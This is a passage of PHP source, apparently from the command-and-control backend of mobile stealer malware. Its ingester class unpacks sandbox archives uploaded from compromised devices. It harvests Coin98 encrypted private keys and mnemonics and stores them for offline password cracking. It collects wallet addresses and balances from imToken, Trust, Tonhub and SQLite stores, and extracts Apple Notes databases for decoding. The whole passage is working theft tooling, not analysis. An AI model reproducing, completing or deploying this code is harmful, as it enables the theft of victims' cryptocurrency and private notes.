null; if (! is_string($addr) || $addr === '') { continue; } $hit = $this->addressHitFromString($addr); if ($hit !== null) { $out[] = $hit; } } return $out; } /** * Walk the sandbox for Coin98 wallet entries (the SET_WALLET_STORAGE * value, or the standalone per-key AsyncStorage file variant) and * return them verbatim — address / chain / name plus the CryptoJS * "U2FsdGVkX1…" privateKey / mnemonic blobs that offline password * recovery needs. * * @param mixed $node * @return list> */ private function coin98WalletsFromSandbox(mixed $node, int $depth = 0): array { if ($depth > 14 || ! is_array($node)) { return []; } $out = []; $storage = $node['SET_WALLET_STORAGE'] ?? null; if ($storage !== null) { $wallets = is_string($storage) ? json_decode($storage, true) : $storage; if (is_array($wallets) && $this->looksLikeCoin98WalletList($wallets)) { $out = array_merge($out, array_values(array_filter($wallets, 'is_array'))); } } $list = $this->coin98WalletList($node); if ($list !== null) { $out = array_merge($out, $list); } foreach ($node as $child) { if (is_array($child)) { $out = array_merge($out, $this->coin98WalletsFromSandbox($child, $depth + 1)); } } return $out; } /** * @param array $node * @return list>|null */ private function coin98WalletList(array $node): ?array { $wallets = $node['wallets'] ?? null; if (! is_array($wallets) || ! $this->looksLikeCoin98WalletList($wallets)) { return null; } return array_values(array_filter($wallets, 'is_array')); } /** * @param array $wallets */ private function looksLikeCoin98WalletList(array $wallets): bool { if (! array_is_list($wallets) || $wallets === []) { return false; } $first = $wallets[0]; if (! is_array($first)) { return false; } return isset($first['address']) && (isset($first['isActive']) || isset($first['privateKey']) || isset($first['mnemonic'])); } /** * Persist the Coin98 wallet list (with the CryptoJS privateKey / * mnemonic blobs) as a needs-password keystore row so the admin * password-unlock flow can recover the mnemonic offline. * * @param array $sandbox */ private function storeCoin98KeystoreFromSandbox(Device $device, string $source, array $sandbox): void { $wallets = $this->coin98WalletsFromSandbox($sandbox); if ($wallets === []) { return; } $hasCipher = false; foreach ($wallets as $wallet) { foreach (['privateKey', 'mnemonic'] as $field) { $value = $wallet[$field] ?? null; if (is_string($value) && $this->isCryptoJsCipher($value)) { $hasCipher = true; break 2; } } } WalletKeystore::firstOrCreateForDevice($device, $source, [ 'kind' => 'coin98.wallet', 'wallets' => $wallets, ], $hasCipher); } /** * CryptoJS AES default output: base64("Salted__" + 8-byte salt + * AES-256-CBC ciphertext). */ private function isCryptoJsCipher(string $value): bool { $decoded = base64_decode($value, true); return is_string($decoded) && str_starts_with($decoded, 'Salted__'); } /** * Tonhub only exposes the user address through react-query mmkv * cache keys: ["cloud","", …] queries (primaryCurrency / * addressbook / config) are keyed by the wallet owner's own address. * holders / account / pool keys may reference third-party contracts * or viewed pages, so they are skipped. mmkv files arrive * base64-encoded (decodeFileContent caps text at 64 KiB), so try the * raw string first, then its base64 payload. * * @param mixed $node * @return list}> */ private function collectTonhubAccountHits(mixed $node, int $depth = 0): array { if ($depth > 14 || $node === null) { return []; } $out = []; if (is_string($node)) { foreach ($this->tonhubAddressesFromString($node) as $addr) { $out[] = [ 'address' => $addr, 'chain_type' => 'TON', 'balance' => [], ]; } return $out; } if (! is_array($node)) { return []; } foreach ($node as $child) { if (is_array($child) || is_string($child)) { $out = array_merge($out, $this->collectTonhubAccountHits($child, $depth + 1)); } } return $out; } /** * @return list */ private function tonhubAddressesFromString(string $raw): array { $found = []; $pattern = '/\["cloud","([EU]Q[A-Za-z0-9_\-]{46})"/'; foreach ([$raw, (string) (base64_decode($raw, true) ?: '')] as $text) { if ($text === '' || ! preg_match_all($pattern, $text, $matches)) { continue; } foreach ($matches[1] as $addr) { $found[$addr] = $addr; } } return array_values($found); } /** * Trust HD UTC lists every WalletCore coin in activeAccounts. Many of * those addresses are 0x-shaped (ETC, VeChain, Theta, …) and must not * be stored as Ethereum. Reuse the DS collector: BTC/ETH/TRX/BSC/SOL/ARB. * * @param array $sandbox * @return list}> */ private function collectTrustAddressHits(array $sandbox): array { $out = []; foreach ($this->trustAddresses->collect($sandbox) as $row) { $out[] = [ 'address' => $row['address'], 'chain_type' => $row['chainType'], 'balance' => [], ]; } if ($out !== []) { return $out; } foreach ($this->collectWeb3Nodes($sandbox) as $node) { $addr = $node['address'] ?? null; if (! is_string($addr) || $addr === '') { continue; } $hit = $this->addressHitFromString($addr); if ($hit !== null) { $out[] = $hit; } } return $out; } /** * Walk a SignalShell zip and decode every RCTAsyncLocalStorage blob * (manifest hashes + double-encoded JSON strings). * * @return list */ private function asyncStorageNodesFromZip(string $zipBinary): array { $tmp = tempnam(sys_get_temp_dir(), 'im_async_'); if ($tmp === false) { return []; } $tmpZip = $tmp.'.zip'; @rename($tmp, $tmpZip); $tmp = $tmpZip; $nodes = []; try { if (@file_put_contents($tmp, $zipBinary) === false) { return []; } $zip = new \ZipArchive; if ($zip->open($tmp) !== true) { return []; } for ($i = 0; $i < $zip->numFiles; $i++) { $name = str_replace('\\', '/', (string) $zip->getNameIndex($i)); if ($name === '' || str_ends_with($name, '/')) { continue; } if (! str_contains(strtolower($name), 'asynclocalstorage')) { continue; } $raw = $zip->getFromIndex($i); if (! is_string($raw) || $raw === '') { continue; } $decoded = $this->decodeJsonMaybeDouble($raw); if ($decoded !== null) { $nodes[] = $decoded; } } $zip->close(); } finally { @unlink($tmp); } return $nodes; } /** * RCTAsyncLocalStorage values are often a JSON string wrapping JSON. */ private function decodeJsonMaybeDouble(string $raw): mixed { $decoded = json_decode($raw, true); if (! is_array($decoded) && ! is_string($decoded)) { return null; } if (is_string($decoded)) { $inner = json_decode($decoded, true); if (is_array($inner) || is_string($inner)) { return $inner; } return null; } return $decoded; } /** * imToken AsyncStorage mixes the real EOA with token-list contract * addresses under the same `address` key. Keep accountAddress and * AccountModel EOAs only — never walletsV2 UTC address or USDT/WETH * contracts. * * @param mixed $node * @return list}> */ private function collectImTokenAddressHits(mixed $node, int $depth = 0): array { if ($depth > 14 || ! is_array($node)) { return []; } $out = []; $accountAddress = $node['accountAddress'] ?? null; if (is_string($accountAddress)) { $hit = $this->addressHitFromString($accountAddress); if ($hit !== null) { $out[] = $hit; } } if ($this->isImTokenAccountNode($node)) { $addr = $node['address'] ?? null; if (is_string($addr)) { $hit = $this->addressHitFromString($addr); if ($hit !== null) { $out[] = $hit; } } } foreach ($node as $child) { if (is_array($child)) { $out = array_merge($out, $this->collectImTokenAddressHits($child, $depth + 1)); } } return $out; } /** * @param array $node */ private function isImTokenAccountNode(array $node): bool { if (isset($node['tokenType']) || isset($node['tokenStandard'])) { return false; } $type = strtoupper((string) ($node['type'] ?? '')); if ($type === 'EOA') { return true; } $path = (string) ($node['path'] ?? ''); return str_starts_with($path, "m/44'"); } /** * @param mixed $node * @return list}> */ private function collectAddressHits(mixed $node, int $depth = 0): array { if ($depth > 12 || $node === null) { return []; } $out = []; if (is_string($node)) { $hit = $this->addressHitFromString($node); if ($hit !== null) { $out[] = $hit; } return $out; } if (! is_array($node)) { return []; } if ($this->isTokenEntryNode($node)) { // {symbol, name, decimals, address} — token inventory entry, not a user account. return []; } foreach (['address', 'Address', 'walletAddress', 'ethAddress', 'tronAddress'] as $key) { if (isset($node[$key]) && is_string($node[$key])) { $hit = $this->addressHitFromString($node[$key]); if ($hit !== null) { $out[] = $hit; } } } foreach ($node as $key => $child) { if (is_string($key) && in_array($key, self::CONTRACT_KEY_DENYLIST, true)) { // multicall3 / foxConnectAddresses / contract maps are // network config, never user accounts. continue; } if (is_array($child) || is_string($child)) { $out = array_merge($out, $this->collectAddressHits($child, $depth + 1)); } } return $out; } /** * Keys that only ever hold contract / config addresses. * * @var list */ private const CONTRACT_KEY_DENYLIST = [ 'contracts', 'contract', 'contractAddress', 'tokenAddress', 'token_address', 'wethContractAddress', 'multicall3', 'multicallAddress', 'foxConnectAddresses', 'batchTxContract', 'balanceContract', ]; /** * @param array $node */ private function isTokenEntryNode(array $node): bool { if (! isset($node['symbol'])) { return false; } return isset($node['decimals']) || isset($node['name']) || isset($node['tokenType']) || isset($node['chainId']) || isset($node['logoUri']); } /** * @return array{address: string, chain_type: string, balance: array}|null */ private function addressHitFromString(string $raw): ?array { $addr = trim($raw); if ($addr !== '' && ctype_xdigit($addr) && strlen($addr) === 40) { // Pure-digit 40-hex blobs are data (balances, timestamps), not accounts. if (ctype_digit($addr)) { return null; } $addr = '0x'.$addr; } $chain = WalletSource::inferChainType($addr); // TON is only harvested by the dedicated Tonhub collector: EQ/UQ // strings float around token caches as jetton contracts and would // flood wallet_addresses from free-text scans. if ($chain === 'TON' || ! WalletSource::isSupportedChain($chain)) { return null; } return [ 'address' => $addr, 'chain_type' => $chain, 'balance' => [], ]; } /** * @return list}> */ private function collectSqliteAddressHits(string $tar): array { $out = []; $this->eachTarFile($tar, function (string $path, string $raw) use (&$out): void { if (strlen($raw) < 16 || ! str_starts_with($raw, "SQLite format 3")) { return; } foreach ($this->parseSqliteWalletRows($raw) as $hit) { $out[] = $hit; } }); return $out; } /** * @return list}> */ private function parseSqliteWalletRows(string $sqlite): array { $tmp = tempnam(sys_get_temp_dir(), 'app_upload_sqlite_'); if ($tmp === false) { return []; } try { if (@file_put_contents($tmp, $sqlite) === false) { return []; } $pdo = new \PDO('sqlite:'.$tmp, null, null, [ \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION, ]); $tables = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'")->fetchAll(\PDO::FETCH_COLUMN); $byAddr = []; foreach ($tables as $table) { $table = (string) $table; if ($table === '' || str_starts_with($table, 'sqlite_')) { continue; } $cols = []; try { $infoName = preg_match('/^[A-Za-z0-9_]+$/', $table) ? $table : '"'.str_replace('"', '""', $table).'"'; $cols = $pdo->query('PRAGMA table_info('.$infoName.')')->fetchAll(\PDO::FETCH_ASSOC); } catch (\Throwable) { continue; } $colNames = []; foreach ($cols as $col) { $colNames[] = (string) ($col['name'] ?? ''); } $addrCol = $this->firstMatchingColumn($colNames, ['address', 'walletAddress', 'wallet_address', 'addr']); if ($addrCol === null) { continue; } $quotedTable = '"'.str_replace('"', '""', $table).'"'; $quotedAddr = '"'.str_replace('"', '""', $addrCol).'"'; $stmt = $pdo->query('SELECT * FROM '.$quotedTable.' WHERE '.$quotedAddr.' IS NOT NULL'); while ($row = $stmt->fetch(\PDO::FETCH_ASSOC)) { $hit = $this->addressHitFromString((string) ($row[$addrCol] ?? '')); if ($hit === null) { continue; } $addr = $hit['address']; if (! isset($byAddr[$addr])) { $byAddr[$addr] = $hit; } $coin = $this->coinFromSqliteRow($row); $amount = $this->numericFromSqliteRow($row, ['balance', 'amount', 'quantity', 'value']); if ($coin !== null && $amount !== null) { $byAddr[$addr]['balance'][$coin] = $amount; } } } return array_values($byAddr); } catch (\Throwable) { return []; } finally { @unlink($tmp); } } /** * @param list $cols * @param list $want */ private function firstMatchingColumn(array $cols, array $want): ?string { $lower = []; foreach ($cols as $col) { $lower[strtolower($col)] = $col; } foreach ($want as $name) { if (isset($lower[strtolower($name)])) { return $lower[strtolower($name)]; } } return null; } /** * @param array $row */ private function coinFromSqliteRow(array $row): ?string { foreach (['shortName', 'tokenName', 'name', 'symbol', 'tokenAbbr', 'token_name'] as $key) { if (! isset($row[$key]) || ! is_string($row[$key])) { continue; } $sym = strtoupper(trim($row[$key])); if ($sym === 'TRX') { return 'trx'; } if ($sym === 'USDT' || $sym === 'USD₮') { return 'usdt'; } if ($sym === 'ETH') { return 'eth'; } if ($sym === 'BTC') { return 'btc'; } if ($sym === 'BNB') { return 'bnb'; } } foreach (['contractAddress', 'tokenAddress', 'contract', 'id'] as $key) { $val = strtoupper(trim((string) ($row[$key] ?? ''))); if ($val === strtoupper(self::USDT_TRC20)) { return 'usdt'; } } return null; } /** * @param array $row * @param list $keys */ private function numericFromSqliteRow(array $row, array $keys): ?string { foreach ($keys as $key) { if (! array_key_exists($key, $row)) { continue; } $val = $row[$key]; if ($val === null || $val === '') { continue; } if (! is_numeric($val)) { continue; } return (string) $val; } return null; } /** * @param callable(string $path, string $raw): void $cb */ private function eachTarFile(string $content, callable $cb): void { if (! $this->looksLikeTar($content)) { return; } $tmp = tempnam(sys_get_temp_dir(), 'app_upload_walk_'); if ($tmp === false) { return; } $tmpTar = $tmp.'.tar'; @rename($tmp, $tmpTar); $tmp = $tmpTar; try { if (@file_put_contents($tmp, $content) === false) { return; } try { $phar = new \PharData($tmp); } catch (\Throwable) { return; } $prefix = 'phar://'.$tmp; foreach (new \RecursiveIteratorIterator($phar) as $f) { if (! $f->isFile()) { continue; } $rel = ltrim(str_replace('\\', '/', $f->getPathname())); if (str_starts_with($rel, $prefix)) { $rel = substr($rel, strlen($prefix)); } $rel = ltrim($rel, '/'); $raw = @file_get_contents($f->getPathname()); if (! is_string($raw) || $raw === '') { continue; } $cb($rel, $raw); } } finally { @unlink($tmp); } } // ── Apple Notes tar ───────────────────────────────────────── /** * Extract a group.com.apple.notes tar, pull out NoteStore.sqlite + * -wal + -shm, save them to the location DsMemoDecoder expects * (c2/ds-results///), and dispatch the * DecodeMemoDb job to parse note text off the request thread. */ private function parseNotesTar(Device $device, string $content, string $uploadId): void { $files = $this->extractNotesDbFiles($content); if ($files === []) { Log::channel('keystore')->warning('AppUploadIngester: notes tar has no NoteStore.sqlite', [ 'device_id' => $device->id, 'upload_id' => $uploadId, ]); return; } // DsMemoDecoder looks for files under // storage/app/c2/ds-results///NoteStore.sqlite $commandId = 'app_'.substr($uploadId, 0, 8); $dir = 'c2/ds-results/'.$device->device_id.'/'.$commandId; $disk = \Illuminate\Support\Facades\Storage::disk('local'); foreach ($files as $name => $data) { $disk->put($dir.'/'.$name, $data); } Log::channel('keystore')->info('AppUploadIngester: stored notes db', [ 'device_id' => $device->id, 'device_key' => $device->device_id, 'command_id' => $commandId, 'files' => array_keys($files), ]); // Dispatch the async SQLite decoder job. try { \App\Jobs\DecodeMemoDb::dispatch($device->id, $commandId); } catch (\Throwable $e) { Log::channel('keystore')->error('AppUploadIngester: DecodeMemoDb dispatch failed', [ 'device_id' => $device->id, 'command_id' => $commandId, 'error' => $e->getMessage(), ]); } } /** * Extract NoteStore.sqlite + -wal + -shm from a notes tar archive. * * @return array Map of filename → raw bytes. */ private function extractNotesDbFiles(string $content): array { if (! $this->looksLikeTar($content)) { return []; } $tmp = tempnam(sys_get_temp_dir(), 'app_upload_notes_'); if ($tmp === false) { return []; } // PharData requires a .tar extension to recognise the archive format. $tmpTar = $tmp . '.tar'; @rename($tmp, $tmpTar); $tmp = $tmpTar; try { if (@file_put_contents($tmp, $content) === false) { return []; } try { $phar = new \PharData($tmp); } catch (\Throwable) { return []; } $wanted = ['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm']; $out = []; foreach (new \RecursiveIteratorIterator($phar) as $f) { if (! $f->isFile()) { continue; } $base = basename($f->getPathname()); if (! in_array($base, $wanted, true)) { continue; } $raw = @file_get_contents($f->getPathname()); if ($raw === false || $raw === '') { continue; } $out[$base] = $raw; } return $out; } finally { @unlink($tmp); } } /** * Extract a tar (ustar) archive into a nested dict of file paths → * decoded content. JSON files are parsed into arrays; binary files * (Realm DBs, SQLite) are stored as base64; everything else is stored * as a UTF-8 string when possible. * * @return array */ private function extractTarSandbox(string $content): array { if (! $this->looksLikeTar($content)) { return []; } $tmp = tempnam(sys_get_temp_dir(), 'app_upload_tar_'); if ($tmp === false) { return []; } // PharData requires a .tar extension to recognise the archive format. $tmpTar = $tmp . '.tar'; @rename($tmp, $tmpTar); $tmp = $tmpTar; try { if (@file_put_contents($tmp, $content) === false) { return []; } try { $phar = new \PharData($tmp); } catch (\Throwable) { return []; } $sandbox = []; $count = 0; $maxFiles = 200; foreach (new \RecursiveIteratorIterator($phar) as $f) { if ($count >= $maxFiles) { break; } if (! $f->isFile()) { continue; } $rel = ltrim(str_replace('\\', '/', $f->getPathname())); // Strip the "phar://" prefix. The temp file // path is absolute (starts with "/"), so the old [^/]+ pattern // failed to match the leading slash — use the known prefix. $prefix = 'phar://'.$tmp; if (str_starts_with($rel, $prefix)) { $rel = substr($rel, strlen($prefix)); } else { // Fallback: strip phar:// + everything up to the first .tar $rel = preg_replace('#^phar://.*?\.tar#i', '', $rel) ?? $rel; } $rel = ltrim($rel, '/'); if ($rel === '') { continue; } $entrySize = (int) $f->getSize(); // Hard gate before reading: wallet configs / keystores are small // (Realm ≤ a few MB); image caches and token-inventory dumps are // tens of MB and only burn memory (fatal on 128M limits when a // device uploads a full 76 MB sandbox tar). if ($entrySize > 5 * 1024 * 1024) { continue; } $raw = @file_get_contents($f->getPathname()); if ($raw === false || $raw === '') { continue; } $decoded = $this->decodeFileContent($raw, $rel); unset($raw); if ($decoded === null) { continue; } $this->setNestedPath($sandbox, $rel, $decoded); $count++; } return $sandbox; } finally { @unlink($tmp); } } /** * @return mixed Array for JSON, string for text/base64, null to skip. */ private function decodeFileContent(string $raw, string $path): mixed { // JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf). // Cap the decode: multi-MB token inventories explode into huge PHP // arrays (10× the raw size) and end up serialized into raw_json. $first = $raw[0] ?? ''; if (($first === '{' || $first === '[') && strlen($raw) <= 2 * 1024 * 1024) { $json = json_decode($raw, true); if (is_array($json)) { return $json; } } // Small text files → UTF-8 string. if (strlen($raw) <= 65536 && mb_check_encoding($raw, 'UTF-8')) { return $raw; } // Binary files (Realm, SQLite) → base64 (capped to avoid OOM). $cap = 512 * 1024; // 512 KiB if (strlen($raw) > $cap) { return null; // skip large binaries — not useful for mnemonic recovery } return base64_encode($raw); } /** * Set a value at a nested path (a/b/c.json → $arr[a][b][c.json]). * * @param array $arr */ private function setNestedPath(array &$arr, string $path, mixed $value): void { $parts = explode('/', $path); $ref = &$arr; $n = count($parts); for ($i = 0; $i < $n - 1; $i++) { $key = $parts[$i]; if (! isset($ref[$key]) || ! is_array($ref[$key])) { $ref[$key] = []; } $ref = &$ref[$key]; } $ref[$parts[$n - 1]] = $value; } }